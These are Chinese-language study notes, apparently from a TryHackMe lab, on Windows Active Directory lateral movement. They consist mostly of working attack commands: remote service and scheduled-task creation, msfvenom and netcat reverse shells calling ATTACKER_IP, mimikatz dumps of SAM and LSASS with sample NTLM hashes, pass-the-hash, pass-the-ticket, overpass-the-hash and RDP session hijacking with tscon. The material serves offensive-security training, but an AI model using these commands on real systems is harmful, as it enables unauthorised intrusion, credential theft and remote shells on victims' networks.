横向移动
psexec
端口:445
所需的组成员身份:Administrator
psexec的工作原理:
1.连接到 Admin$ 共享并上传服务二进制文件。 Psexec 使用 psexesvc.exe 作为名称
2.连接到服务控制管理器以创建并运行名为 PSEXESVC 的服务,并将binary path与 C:\Windows\psexesvc.exe 相关联
3.创建一些命名管道来处理 stdin/stdout/stderr
psexec64.exe \\MACHINE_IP -u Administrator -p Mypass123 -i cmd.exe
WinRM
端口:5985
所需的组成员身份:Remote Management Users
winrs.exe -u:Administrator -p:Mypass123 -r:target cmd
sc
sc可用于远程创建服务
所需的组成员身份:Administrator
sc.exe \\TARGET create THMservice binPath= "net user munra Pass123 /add" start= auto
sc.exe \\TARGET start THMservice
停止和删除服务:
sc.exe \\TARGET stop THMservice
sc.exe \\TARGET delete THMservice
使用msf生成一个恶意服务:
msfvenom -p windows/shell/reverse_tcp -f exe-service LHOST=ATTACKER_IP LPORT=4444 -o myservice.exe
通过smbclient上传:
smbclient -c 'put myservice.exe' -U t1_leonard.summers -W ZA '//thmiis.za.tryhackme.com/admin$/' EZpass4ever
由于sc.exe不允许将凭据指定为命令的一部分,因此需要先使用runas
生成一个带有指定用户访问令牌的新shell,如果我们只有 SSH 访问机器,所以如果我们尝试类似runas /netonly /user:ZA\t1_leonard.summers cmd.exe
的命令,新的命令提示符将在用户会话中产生,但我们无法访问它。为了克服这个问题,我们可以使用 runas 生成第二个带有 t1_leonard.summers 访问令牌的反向 shell
runas /netonly /user:ZA.TRYHACKME.COM\t1_leonard.summers "c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4443"
然后就能通过sc创建服务并运行
sc.exe \\thmiis.za.tryhackme.com create THMservice-3249 binPath= "%windir%\myservice.exe" start= auto
远程创建计划任务
可以使用schtasks远程创建计划任务
schtasks /s TARGET /RU "SYSTEM" /create /tn "THMtask1" /tr "<command/payload to execute>" /sc ONCE /sd 01/01/1970 /st 00:00
启动:
schtasks /s TARGET /run /TN "THMtask1"
删除计划任务:
schtasks /S TARGET /TN "THMtask1" /DELETE /F
WMI
WMI 允许管理员执行标准的管理任务,攻击者可以滥用这些任务以各种方式执行横向移动
在使用PowerShell命令连接到WMI
之前,需要先使用用户的用户名和密码创建一个PSCredential对象:
$username = 'Administrator';
$password = 'Password123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
然后建立WMI会话,将会话存储在session中:
$Opt = New-CimSessionOption -Protocol DCOM
$Session = New-Cimsession -ComputerName TARGET -Credential $credential -SessionOption $Opt -ErrorActin Stop
远程生成进程:
$Command = "powershell.exe -Command Set-Content -Path C:\text.txt -Value munrawashere";
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{
CommandLine = $Command
}
请注意,WMI 不允许您查看任何命令的输出,但确实会静默创建所需的进程。
也可以使用wmic完成同样的操作:
wmic.exe /user:Administrator /password:Mypass123 /node:TARGET process call create "cmd.exe /c calc.exe"
远程创建服务
Invoke-CimMethod -CimSession $Session -ClassName Win32_Service -MethodName Create -Arguments @{
Name = "THMService2";
DisplayName = "THMService2";
PathName = "net user munra2 Pass123 /add"; # Your payload
ServiceType = [byte]::Parse("16"); # Win32OwnProcess : Start service in a new process
StartMode = "Manual"
}
然后获取该服务的句柄并启动他
$Service = Get-CimInstance -CimSession $Session -ClassName Win32_Service -filter "Name LIKE 'THMService2'"
Invoke-CimMethod -InputObject $Service -MethodName StartService
然后可以使用以下命令停止和删除服务
Invoke-CimMethod -InputObject $Service -MethodName StopService
Invoke-CimMethod -InputObject $Service -MethodName Delete
创建远程计划任务
$Command = "cmd.exe"
$Args = "/c net user munra22 aSdf1234 /add"
$Action = New-ScheduledTaskAction -CimSession $Session -Execute $Command -Argument $Args
Register-ScheduledTask -CimSession $Session -Action $Action -User "NT AUTHORITY\SYSTEM" -TaskName "THMtask2"
Start-ScheduledTask -CimSession $Session -TaskName "THMtask2"
要在使用后删除计划任务,我们可以使用以下命令:
Unregister-ScheduledTask -CimSession $Session -TaskName "THMtask2"
安装MSI包
MSI 是一种用于安装程序的文件格式。如果我们可以将 MSI 包复制到目标系统,我们就可以使用 WMI 尝试为我们安装它。可以以攻击者可用的任何方式复制该文件。一旦 MSI 文件位于目标系统中,我们就可以尝试通过 WMI 调用 Win32_Product 类来安装它
Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\myinstaller.msi"; Options = ""; AllUsers = $false}
也可以通过wmic:
wmic /node:TARGET /user:DOMAIN\USER product call install PackageLocation=c:\Windows\myinstaller.msi
PtH哈希传递
只要知道NTLM Hash就可以响应身份验证期间发送的 NTLM 质询。这意味着我们可以在不需要知道明文密码的情况下进行身份验证。如果 Windows 域配置为使用 NTLM 身份验证,我们不必破解 NTLM 哈希,而是可以传递哈希 (PtH) 并成功进行身份验证
使用mimikataz提取hash:
从本地SAM文件中提取hash:
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # lsadump::sam
RID : 000001f4 (500)
User : Administrator
Hash NTLM: 145e02c50333951f71d13c245d352b50
从LSASS内存中提取hash:
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # sekurlsa::msv
Authentication Id : 0 ; 308124 (00000000:0004b39c)
Session : RemoteInteractive from 2
User Name : bob.jenkins
Domain : ZA
Logon Server : THMDC
Logon Time : 2022/04/22 09:55:02
SID : S-1-5-21-3330634377-1326264276-632209373-4605
msv :
[00000003] Primary
* Username : bob.jenkins
* Domain : ZA
* NTLM : 6b4a57f67805a663c818106dc0648484
lsadump::lsa /patch
读取所有用户与哈希
PtT票据传递
可以使用mimikatz从LSASS内存中提取Kerberos门票
mimikatz # privilege::debug
mimikatz # sekurlsa::tickets /export
虽然 mimikatz 可以从 LSASS 进程的内存中提取任何可用的 TGT 或 TGS,但大多数时候,我们会对 TGT 感兴趣,因为它们可用于请求访问允许用户访问的任何服务。同时,TGS 仅适用于特定服务。提取 TGT 需要我们拥有管理员凭据,提取 TGS 可以使用低权限帐户(仅分配给该帐户的帐户)来完成
一旦我们提取了所需的票据,我们就可以使用以下命令将票证注入当前会话
kerberos::ptt [0;427fcd5]-2-0-40e10000-Administrator@krbtgt-ZA.TRYHACKME.COM.kirbi
检查票据是否已正确注入,可以使用klist
命令
Overpass-the-Hash/Pass-the-Key
这种攻击类似于 PtH,但适用于 Kerberos 网络
当用户请求 TGT 时,他们会发送一个使用从其密码派生的加密密钥加密的时间戳。用于派生此密钥的算法可以是 DES(在当前 Windows 版本中默认禁用)、RC4、AES128 或 AES256,具体取决于安装的 Windows 版本和 Kerberos 配置。如果我们有这些密钥中的任何一个,我们就可以向 KDC 索要 TGT 而无需实际密码,因此称为密钥传递 (PtK)
使用mimikatz从内存中获取加密密钥:
mimikatz # privilege::debug
mimikatz # sekurlsa::ekeys
根据可用的密钥,我们可以在 mimikatz 上运行以下命令以通过密钥传递获得反向 shell
rc4:
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /rc4:96ea24eff4dff1fbe13818fbf12ea7d8 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"
aes128
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes128:b65ea8151f13a31d01377f5934bf3883 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"
aes256
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes256:b54259bbff03af8d37a138c375e29254a2ca0649337cc4c73addcd696b4cdb65 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"
RDP劫持
系统管理员和用户通常可以通过 RDP(远程桌面)协议登录指定服务器3389远程桌面,而攻击者可以通过可以特权提升至 SYSTEM 权限的用户,可以在不知道其他用户登录凭据的情况下,用来劫持其他用户的 RDP 会话
,该漏洞在2017年由以色列安全研究员Alexander Korznikov在个人博客中披露。利用条件只需要获取机器system权限执行tscon命令
使用system权限打开cmd:
PsExec64.exe -s cmd.exe
列出服务器上的现有会话:
query user
任何具有 Disc 状态的会话都已被用户打开并且目前未被使用,
然后使用tscon
接管即可
如:
tscon 3 /dest:rdp-tcp#6